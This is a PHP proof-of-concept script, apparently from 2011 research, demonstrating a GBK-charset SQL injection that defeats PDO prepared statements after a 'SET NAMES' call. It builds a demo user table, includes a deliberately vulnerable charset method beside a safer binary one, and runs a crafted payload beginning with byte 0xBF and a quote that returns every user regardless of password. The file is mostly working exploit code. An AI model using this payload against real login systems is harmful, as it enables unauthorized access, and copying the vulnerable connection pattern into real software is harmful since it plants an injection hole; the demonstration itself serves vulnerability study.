<?php
/**
 * PDO gbk vul test
 * @version $Id: exploit.php 210 2011-09-30 09:23:28Z horseluke@126.com $
 */

/* demo_exploit的数据库数据：

SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for `gbk_users`
-- ----------------------------
CREATE TABLE `gbk_users` (
  `username` varchar(32) NOT NULL,
  `password` varchar(32) default NULL,
  PRIMARY KEY  (`username`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk;

-- ----------------------------
-- Records of gbk_users
-- ----------------------------
INSERT INTO `gbk_users` VALUES ('foo', 'bar');
INSERT INTO `gbk_users` VALUES ('dddd', 'tttt');

 */


//设置区
$_GET['setc'] = 'VUL';   //可以设为null，或者设为字符串'VUL'或者'BIN'。详细请看pdomysqlConnector::connect()说明

define('DB_PORT',		'3306');
define('DB_HOST',		'localhost');
define('DB_USER',		'demo_exploit');
define('DB_PASSWD',		'123');
define('DB_CHARSET',	'gbk');
define('DB_NAME',		'demo_exploit');



//代码区
/**
 * 本mini类用于快速构建一个PDO连接，用于演示用
 * @author Horse Luke
 * @version $Id: exploit.php 210 2011-09-30 09:23:28Z horseluke@126.com $
 */
class pdomysqlConnector{
    
    protected static $_isEqualOrAbove5_3_6 = null;
    
	/**
	 * @static
	 * PDO在5.3.6之前会忽略charset设置{@link http://www.php.net/manual/zh/ref.pdo-mysql.connection.php},用户仍需要SQL设置？
	 * @param string|null $setcharset 不传值表示不进行SQL字符集设置。若需传值，其可选值有：
	 * VUL：表示采用有漏洞的SET NAMES进行字符集设置，诱发漏洞；
	 * BIN：以较为稳妥的方式进行字符集设置
	 * 
	 */
	static public function connect($setcharsetType = null){
	    $charset = DB_CHARSET ? strtolower(DB_CHARSET) : 'utf8';
		$dsn = "mysql:dbname=".DB_NAME.";host=".DB_HOST.";port=".DB_PORT;
		
		if(self::isEqualOrAbove5_3_6()){
		    //http://www.php.net/manual/zh/ref.pdo-mysql.connection.php
		    $dsn .= ';charset='. $charset;
		    trigger_error('PHP VERSION is above or higher than 5.3.6.Connection Dsn charset added', E_USER_WARNING);
		}
		
		$pdoInstance = new PDO($dsn, DB_USER, DB_PASSWD);
		$pdoInstance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		
		//if(!self::isEqualOrAbove5_3_6()){
		    if('VUL' == $setcharsetType){
		        self::_setCharset___VUL($charset, $pdoInstance);
		    }elseif('BIN' == $setcharsetType){
		        self::_setCharset($charset, $pdoInstance);
		    }
		//}
		
		return $pdoInstance;
	}
	
	/**
	 * 设置db charset
	 */
	static protected function _setCharset($charset, PDO $pdoInstance){
		$version = $pdoInstance->getAttribute(PDO::ATTR_SERVER_VERSION);
		$charset = strtolower($charset);
		if($version > '4.1'){
			$sql = $charset ? "character_set_connection={$charset}, character_set_results={$charset}, character_set_client=binary" : '';
			$sql .= $version > '5.0.1' ? ((empty($sql) ? '' : ', ')."sql_mode=''") : '';
			if($sql){
			    trigger_error("SET {$sql}", E_USER_WARNING);
			    $pdoInstance->exec("SET {$sql}");
			}
		}
	}
	
	/**
	 * 设置db charset(漏洞版)
	 */
	static protected function _setCharset___VUL($charset, PDO $pdoInstance){
		$pdoInstance->exec("SET NAMES '{$charset}'");
		trigger_error("SET NAMES '{$charset}'", E_USER_WARNING);
	}
	
	static protected function isEqualOrAbove5_3_6(){
	    if(null === self::$_isEqualOrAbove5_3_6){
	        self::$_isEqualOrAbove5_3_6 = version_compare(PHP_VERSION, '5.3.6', '>=');
	    }
	    return self::$_isEqualOrAbove5_3_6;
	}
	
}

$_GET['u'] = urldecode('%bf%27%20OR%20username%3Dusername%20%23');
$_GET['p'] = 'anything';

error_reporting(E_ALL);
echo 'PHP_VERSION:'.PHP_VERSION;
echo "\r\n======================\r\n";

$pdo = pdomysqlConnector::connect($_GET['setc']);

//PREPARE NOT SAFE AFTER 'SET NAMES xxx'
$sth = $pdo->prepare('SELECT * FROM  gbk_users WHERE  username = :user AND password = :pwd');
$sth->execute(array(':user' => $_GET['u'], ':pwd'=>$_GET['p'] ));
var_export($sth->fetchAll(PDO::FETCH_ASSOC));


echo "\r\n======================\r\n";
/*
//OTHER VUL CODE(LIKE addslashes failed in GBK Charset)
$user = $pdo->quote($_GET['u']);
$passwd = $pdo->quote($_GET['p']);
$sth = $pdo->query("SELECT * FROM  gbk_users WHERE  username = {$user} AND password = {$passwd}");
var_export($sth->fetchAll(PDO::FETCH_ASSOC));
*/